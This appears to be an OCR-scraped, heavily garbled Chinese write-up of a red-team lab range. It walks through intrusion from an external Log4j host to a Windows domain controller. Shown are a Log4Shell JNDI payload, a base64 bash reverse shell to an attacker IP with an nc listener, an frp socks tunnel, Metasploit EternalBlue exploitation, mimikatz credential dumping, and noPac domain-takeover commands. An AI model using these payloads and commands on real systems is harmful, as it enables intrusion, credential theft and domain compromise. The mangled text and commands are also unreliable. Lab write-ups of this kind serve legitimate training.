PLEIEF

WEE
—
FIRIP: 10.0.0.12({REHE)
b Windows Server 2012
/\ﬁ’in;g 192'%';3 81.133
A vps 192.168.81.13 o
iz O
Iz R EmE M flagX = HIED
HiEx%
SHAIP: 192.168.81.151 —] AFIP1: 10.0.1.6({REEDR)
FARIP: 10.0.1.6({REHE) " FFEIP2: 10.0.0.7({(XEHE)
Ubuntu desktop + logdj23FiE >
Bk ,
Ubuntu16 windows7
Server DMZEEE
TADRE

SR
BEMRE— L UAREREE
S3) IP192.168 81151356/ FEnmapR it/ TR M T CPIR A0

nmap —v —Pn -T3 —-sV —n —-sT ——open —p 22, 1222, 2222, 22345, 23, 21, 445, 135, 139, 5985, 2121, 3389, 13389, 6379, 4505, 1433, 3306, 5000, 5236, 590(

EIMFFH T 22,38080XF Nk

,1194,1
15:44

d open DDIT
Completed Connect a. 00 elapsed (36 total ports)

151
11.69s ela
.151.

0.01s elapsed

5e submit the following fingerprint at https

1 nmapEA JeT LA EIXE—&Ubuntu, 222ssh, M38080iXNimEunknownfy, FAIEidiGEI—T

1 € C A F==| 192.168.81.151:38080

Whitelabel Error Page

This application has no explicit mapping for ferror, so you are seeing this as a fallback.

Tue Dec 21 07:47:15 GMT 2021
There was an unexpected error (type=Not Found, status=404).
No message available
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FREAFKIAIRHAIHRR CVE-2021-44228 IXNEEREAHEIRIE] dnslog

| Get SubDomain || Refresh Record |

kapbue.dnslog.cn

DNS Query Record IP Address Created Time
kapbue.dnslog.cn 60.215.138.10 2021-12-21 16:00:19
kapbue.dnslog.cn 60.215.138.18 2021-12-21 15:59:28
Burp Project Intruder Repeater Window Help Burp Suite Professional v2021.8 - Temporary Project - licensed to surferdyz
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project optic

1 = 2 =

m | < i Target: http://192

Request Response

Pretty IEE Hex \n = i Raw  Hex Render \n =

1 POST /hello HTTP/Ll.1 1 HTTRESLl.1 200D

2 Host: 152.1£8.81.151:38080 2 Content-Type: text/html;charset=UTF-8
Pragma: no-cache 2 Content-Length: 2

Cache-Control: no-cache
Upgrade-Insecure-Requests: 1

Date: Tue, Z1 Dec Z0Z1 08:00:27 GHMT
Commection: close

£ User-Agent: Mozilla/s/5.0 (Windows NT LO.0; Wing4; =x&4) €
AppleWebKit /537.36 (FHTHL, like Gecko) Chrome/96.0.45E54.110 7 ek
Safari/f537.326

T Accept:

text/html, application/xhtmltxml  application/xml;q=0.9 image/avif, image/
webp, image fapng, */*; q=0.8,application/signed-exchange ;v=h3;q=0.9

2 Accept-Encoding: gzip, deflate

S Accept-lLancuage: zh-CN,zh;qgq=0.%

10 Commection: close

11 Content-Type: application/x-www-form-urlencoded

12 Content-Length: 43

payload=${jnc'li:lc'lap:l’_ - dnslog.enfexpl

KRUTFIE CVE-2021-44228if%iE, = FFREN—"shell

CVE-2021-44228 F|IH

BEEERIAIVPS kali(192.168.81.133) FFiZ—{ .DAP:

git clone https://github.com/black9/Log4shell_JNDIExploit.git
java —jar JNDIExploit—1.2-SNAPSHOT. jar —-i 192.168. 81. 133

[+] LDAP
[+] HTTP

packets 1118 67 (
? dropped r r @ collisions @

i\ # nc -lvnp 9999
g on [any] 9999
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FA1EEFTOMCATBYpassif{T#shell

domqln]

ingMemshell

Ibin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -[z58shell

R5#shellip S FEH{Tbase644R7D

Burp Project Intruder Repeater Window Help Burp Suite Professional v2021.7.1 - Temporary Project - licensed to HK-SONBYN - O X
Dashboard Target Proxy Intruder Repeater
Sequencer Decoder Comparer Logger Extender Project options User options Learn

| o Text Hex @

Decode as ...
Encode as ...
Hash ...

Smart decode

L2Jpbi9i¥XNolC1pID4mICIKZXYvdGNwLZESMidxNjguMjEwLjlzLzk50TkgMD4mMQ == o Text Hex
Decode as ...
Encode as ...
Hash ... v

Smart decode

BPIME, 2 AposttE&FFETiEpayload

payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIUMTY4LjgxLjEz
My850Tk5IDA+JE=}

REFEREXPAINREshell, EXYbase64fmiBH TRIRUNIRRSA BEMAT

</ Target: http://192.168.81.151:38080 »~  HITP/1 |

Request Response

m Hex \n = U Raw Hex Render ‘\n =

POST /hello HTTP/Ll.1 1 HTTP/1.1 Z0OO

Host: 182.168.81.151:38080 Content—-Type: text/html;charset=UTF-8
Cache-Control: max-age=0 Content-Length:
Upgrade-Insecure-Regquests: 1 Date: Tue, Z1 Dec Z0Z1 09:35:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x=E£4) Connection: close

AppleWebFit/537. 26 (FHTHML, like Gecko) Chrome/9&6.0.46€4.110
Safari/537.38 ol
Accept:

text/htnl, application/xhtml+txnl, application/xml;q=0.9, inage/avif,

image /webp, image fapng, */*;q=0.8,application/signed-exchange ;v=h3;

g=0.9

7 Accept-Encoding: gzip, deflate

Accept-Lancuage: zh-CH,zh;q=0.5

Connection: close

10 Content-Type: application/x—www-form-urlencoded

11 Content-Length: 143

PR
PR

12 payload=
F{jndi:ldap://192 168.81.133: 1385/ TomcatBypass/Comnand/Basesd/TnF
z=aCAt aSA% 2ECBJiAvEGVILIR cCBx 0T TuMTY4LjgxLiEsy850TLEIDAS Z5CETJES
253D}
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ro i m# nc -lvnp 9999
listening on [any] 9999

id

pwd

[19

t id
roups
P pwd
I pwd
4ddeddl1727: o# pwd

4ddedd1727: o# whoami

mo# ]

ENERIZEZIshel @2—NdockerZSEs
EIMENSRBEN T, RETE/root/ BR THREIT flagsift:

m.lab-1}

ulations, you got this:

flag{redteam. lab-1}

Congratulations, you got this: saul Saull23
BEIT—"Mag, BE—NELUTHRSEBRIRA
EERMEEFnmap AR BiREFF22sshiRSS, FEIBETRRERsshiIKSHHS

RRIEERE

B EFH BRI SFEBERE T UbuntuR 5

To see these additional updates run: a list

Your Hardware ; eme ( ) is supp
i @21 from 192.

BATTLAEEIZRHESABRRMN-T, —Sens33MTFHEEINN, —HRens38FETFHMIERE

collisions @
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FEELERRIARSIED . WIRETE linux B TFRIRMBERER RS bash F python {4, B Linux #5E£B, M windows THY
HRSIENRELEHZRL powershell, bat, vbs {4, REFREEFHREIMNETE.

FLAFRA ) fsE R for{&ERping— Tens38HYCER kI4E

for i in 10.0.1. {1..254}; do if ping —¢ 3 -w 3 $i & /dev/null; then echo $i Find the target; fi; done

saulgubantu:~% for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
10.0.1.6 Find the target

10.0.1.7 Find the target

AIARIEE—EH12810.0.1.71F7F
& {5 scan info TE#TAMSENE
kalish{sEFpython RigEHE7Ehttpd

~//X{8 B L 5 /scaninfo-mainid i /scaninfo-main/release
t 3 http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...
192.168.210.180 - - [23/Dec/2021 23:53:52] "GET / HTTP/1.1" 200 -
192.168.210.180 - [23/Dec/2021 23:53:52] code 404, message File not found
192.168.210.180 - [23/Dec/2021 23:53:52] "GET /favicon.ico HTTP/1.1" 404 -
192.168.210.39 - - [23/Dec/2021 23:54:27] "GET /scaninfo linux x64 HTTP/1.1" 200 -

BT E T B TR

scaninfo linux x64" [1P684544/10604544])

flag. txt index.html scaninfo linux x64
hmod 777 scaninfo linux x64

WARNING RESSVNEEN=ZR el olo) o
WARNING Lﬂ% IC HP?J s A B
SUCCESS lilddcd = =k

SUCCESS
SUCCESS

[+] 10.0.1.7 MS17- 910

SUCCESS BGREE: 1 4

SUCCESS BEiEEK
&I10.0.1. 7 EHFEMS17-010

BEEATHE, FEER fro IBHRINESHNmEAEREE:
EeEfrps.ini

motmkﬂl ~/% W /frp# cat frps.ini

2.168.81.133

rootikali ﬁﬁ f’r:p# [ |

EeEfrpc.ini
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ot
0

W)

SOEHE)  EE(D) ME() #EEIH)
[common]

server addr = 192.168.81.133
server port = 7000

token = Xa3BJf2I5enmN6Z7A8mv

[socks proxy]

type = tcp
remote port =8888
plugin = socks5

SRIE{EF Metasploit 8 & Socks5 SR MHHTIRESRISLE,;

setg Proxies socksb:192. 168. 81. 133:8888

setg ReverseAllowProxy true

asploit tip: Enable

{553 smb hRANRUESS BRI TIE:
use auxiliary/scanner/smb/smb_version
> show options

msf6 auxiliar

tions (

ional) (uptim

n:REDTE

KIMEFR10.0.1.7HRARwindows7, HBTFEIHKREDTEAM
BESARwindows7, BRARLAIEEFEMS17-010iFiE

MS17-010F1H
BT EY, FIFET10.0.1.72win7, ETEHITRU

) » show options

smb/smb_ms17_

rchi
P! DOUBLEPU 3
E named pipe on

CHECK
ed pipes to

NAMED_PIPES
RHOS framewo
RPORT

MEDomain

) > run

- Host is likely VULNERABLE to MS17-01@! - Windows 7 Ultimate 7681 Service Pack 1 x64 (64-bit)

5 anned 1 of 1 hosts (1€ compl
; module cution completed

v N |
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BERNEANXEYREFEMs17-010/K =N
BT ERERMA—EHM, imtcoRETEREAREER 128 /apayloadIEMbind_tcp
msf6 exploit( show options
Module options (exploi i / { | rnalblu
Description

The rget host(s), g apid
RPORT port (TCP)
SMBDomain . ( nal) The Windows domain to authent
Windows Embedded ard 7 machin
i usern
The u
mot

Embedded S
Che if remote O
Embedded Standard 7 target machines

VERIFY_TARGET

oad options (windo bind_tecp):
Name C nt Setti iption
EXITFUNC
LPORT
RHOST
Exploit t

Id

buffer.

similar
similar

10.0. L

10.0.] 445 Triggering

Started bind TCP handler -
NOTE : 5 s de us g or similar
NOTE : : cet.ge ) epre o resolve ) or similar

EEZSWin7RR, SAEIIEmimikataziBZABM Hisk

Username Domain  Password

root REDTEAM  Red12345

meterpreter > load mimikatz JN#EZ T A

meterpreter > creds all Bl H AR
R A NAAARIURETD, $ RIS NG R E RN, R E)H i HEEF—Rwin?

sploit-

ion. Only affects Windows

indows

7

Windows 7

lindows
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has been re d by " e use this in future.

NTLM

c5014ae471BaTee

casT+!;*I!# $eKs>_emIh;

Username

mgsfg*; L/ "Hb >1 5T+! ;#1142 mIh;AGI$;CX

XAMNHERSE T —MEBFRIKS 7,

PIRIFIES CVE-2021-42287, CVE-2021-42278

B HRIRMAIERIEEZ AR, win7AE—RARAIMN-
0000000000 00060060

5 oo PRO/1 MT Network Connection
9990006, . . =
DHCP 69609

1PV €&

V0000000

lo90009.

DHCPv6 IAID .

DHCPVE ©€2€€€ DUTY . . . . . . . : 00-01-00-¢
DNS 990900 . . . . .. ... .:10.0.0.
TCPIP €@ NetBIOS . . . . . . . : QOO0 ®

BOOVOO00O00 6000006 0:
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ndows\syst
user

W\ 99006009

Administrator Guest hong
909090090000900090090909090h09009000009090900909

redteam.lab §71©"©©H& 202

9660061960000

C:\Windows\syste >net user /domain
net user /domain

0909090909090909090909006 redtean.lab €99999090606090000009
redteam.lab 9@ 9€i66'¢

Administrator Guest krbtgt
root

QOO0 000000V000990909100000000000000

BEEisEEgE 1P 5 10.0.0.12

49090l - 0 . 9o)ee

090000rL000'00(00VVVIHHN):
QOOO = INSOOOH = INs9O56€ ems

BTFRARE TR/ MERIERE: CVE-2021-42287, CVE-2021-42278, E#E=HAA—T.

BENFERE: RIERE—&EiEE DC (iEXIRAIH=8FAF/ DC) , A IKREEFIFARRECVE-2021-42287 8 — M2
saulGoodman, FEHEN12EAF saulGoodmaniJsAMAccountName5kDC. ASHIFADCEERIE— 1 TCTENE, BIEDCH
sAMAccountNameZ{/gsAMAccountName, XM KDC gis#IRi#i&E DC FiiXNEF, BahA#ZE DC (DCEREFNEEMEHIE
DC f9 sAMAccountName) , h&EFIFENINIERIER TGTi#{T S4U2self, EIUEMANREXIEKEE DC Y ST iR, RL&IKEEIEE
EDCRIR,

FEEEFEMSFIEINI—  socks5

msf6 auxiliary( ) > show options
Module options (auxiliary/server/socks_pro>
Name Current Setting Required Description
no
yes
yes

no

yes

Auxiliary action:

Name Description

Proxy Run a ¢ proxy server

msf6 auxili

ANINERER

run autoroute —s 10.0.0.7/24
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run post/mul
Adding a route to 10
[+] Added route to - -
e -p option to list a
run autoroute -p

r scripts are depre

REES HEA AN ERAT T

64 #socks4 127.0.0.1 9050
65 socks5 192.168.81.133 8888

66

FAIE Tt
https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
https://github.com/waterrr/noPac

AT R ARDET

proxychains python3 sam the admin.py “redteam. lab/root:Red12345” —dc—ip 10.0.0.12 —shell
proxychains python noPac. py redteam. lab/root:’ Red12345" —dc—ip 10.0.0.12 —shell —impersonate administrator —use—ldap
proxychains python3 exp.py “redteam/root:Red12345” —dc—ip 10.0.0.12 —shell

L value

AUHP

nt user does not have permission.

nt author

Rt REETREM Flag,
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